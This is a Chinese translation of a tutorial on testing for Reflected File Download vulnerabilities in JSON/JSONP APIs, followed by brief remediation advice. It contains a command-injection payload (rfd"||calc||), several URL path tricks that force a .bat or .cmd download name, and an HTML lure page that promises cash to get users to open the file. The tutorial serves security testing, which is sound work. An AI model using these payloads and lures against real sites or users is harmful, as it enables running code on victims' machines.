网站首页 > 技术文章 正文
翻译文章,原文:?Reflected File Download(RFD) Vulnerability[1]
什么是Reflected File Download(RFD)漏洞?
反射型文件下载漏洞(RFD)是一种攻击技术,通过从受信任的域(例如Google.com和Bing.com)虚拟下载文件,攻击者可以获得对受害者计算机的完全访问权限。Trustwave SpiderLabs安全研究员Oren Hafif于2014年发现了这种网络攻击技术。
检查什么地方?
JSON 和 JSONP API是RFD的主要检查点,大多数现代Web应用程序都在使用此技术。借助Burp Suite或OWASP zap等工具,您可以找到要测试的候选对象。
例如:
https://some.website.com/api/v1.0/get_user_profile
怎么测试?
RFD测试可以分三个部分:反射, 文件名称 和 下载
1. 反射
步骤1 :
验证JSON/JSONP API的响应,并检查是否得到了任何用户输入。
例如请求:
https://some.website.com/api/v1.0/get_user_profile
返回:
{
“data”: {
“id”: “1239985”,
“domain”: “website.com”,
“ph”: “6456787984”,
“first_name”: “DemoTest”,
“last_name”: “LastRFD”,
“version”: “5”,
}
}
在示例中,您可以看到first_name,last_name和ph反射在JSON响应中。
步骤2:
现在,输入RFD有效负载 rfd"||calc|| 进入first_name和last_name字段。验证JSON / JSONP响应(如果它像 rfd"||calc|| 一样反射回来)那么就有RFD的可能性。
要完全验证它,请将响应复制并保存为filename.bat。使用cmd提示打开它,可以看到窗口calc弹出了。
例如返回:
{
“data”: {
“id”: “1239985”,
“domain”: “website.com”,
“ph”: “6456787984”,
“first_name”: “rfd\”||calc||”,
“last_name”: “rfd\”||calc||”,
“version”: “5”,
}
}
因此,反射得到确认。我们需要利用它
2. 文件名称
具有挑战性的部分。如果我们在IE 11中命中JSON / JSONP API URL,我们可以看到响应将以somefileName.json的形式下载。文件名主要取决于http Content-Disposition标头和URL。
要利用此漏洞,我们应该能够将文件格式更改为.cmd,.bat或.exe才能执行。怎么样实现呢?
例如:Content-Disposition: userprofile.json
文件将以Content-Disposition标头中提到的相同名称下载。因此,我们无法利用它。我们需要转到下一个可能性,例如没有Content-Disposition标头的响应。
如果Content-Disposition响应标头中没有返回文件名属性,浏览器将被迫根据URL确定下载文件的名称。
例如:https://some.website.com/api/v1.0/get_user_profile
get_user_profile.json
我们可以使用以下有效负载来绕过此文件名:
get_user_profile.bat
get_user_profile;setup.bat
get_user_profile/setup.bat
get_user_profile;/setup.bat
get_user_profile;/setup.bat;
3. 下载
HTML 模板:
<! DOCTYPE html>
<html>
<body>
<p>Click the Image and open the file: You will be rewarded with $800<p><a href=”https://some.website.com/api/v1.0/get_user_profile/setup.cmd?" download><img border=”0" src=”https://some.website.com/api/v1.0/get_user_profile/setup.cmd?" alt=”8000 Dollars” width=”104" height=”142"></a>
</body>
</html>
打开html页面,单击链接,文件将下载为setup.cmd。
如何修复这个漏洞?
?使用 “ Content-Disposition ”标题强制文件名。
?使用CSRF令牌
?为所有API实施安全标头
引用:
https://www.trustwave.com/Resources/SpiderLabs-Blog/Reflected-File-Download---A-New-Web-Attack-Vector/
References
[1] Reflected File Download(RFD) Vulnerability: https://medium.com/@Johne_Jacob/rfd-reflected-file-download-what-how-6d0e6fdbe331
猜你喜欢
- 2024-11-08 加班用了2天,结果同事30分钟就搞定了?你和别人的差距在哪里
- 2024-11-08 下载文件工具类 文件下载工具是什么
- 2024-11-08 SMTP发送邮件 smtp发送邮件过程
- 2024-11-08 NPM 使用介绍 npm .staging
- 2024-11-08 java servlet笔记:设置编码集、文件下载和两种服务器跳转
- 2024-11-08 还不懂 HTTP 协议的吗?一篇文章讲透
- 2024-11-08 JavaScript包管理工具pnpm介绍 js importpackage
- 2024-11-08 Ajax请求时,请求类型,常用的几种 Content-Type json form-data xml
- 2024-11-08 Python教程:报表和日志精讲 python自动生成日报
- 2024-11-08 安全RCE之未授权访问分析 未授权的访问路径
- 标签列表
-
- content-disposition (47)
- nth-child (56)
- math.pow (44)
- 原型和原型链 (63)
- canvas mdn (36)
- css @media (49)
- promise mdn (39)
- readasdataurl (52)
- if-modified-since (49)
- css ::after (50)
- border-image-slice (40)
- flex mdn (37)
- .join (41)
- function.apply (60)
- input type number (64)
- weakmap (62)
- js arguments (45)
- js delete方法 (61)
- blob type (44)
- math.max.apply (51)
- js (44)
- firefox 3 (47)
- cssbox-sizing (52)
- js删除 (49)
- js for continue (56)
- 最新留言
-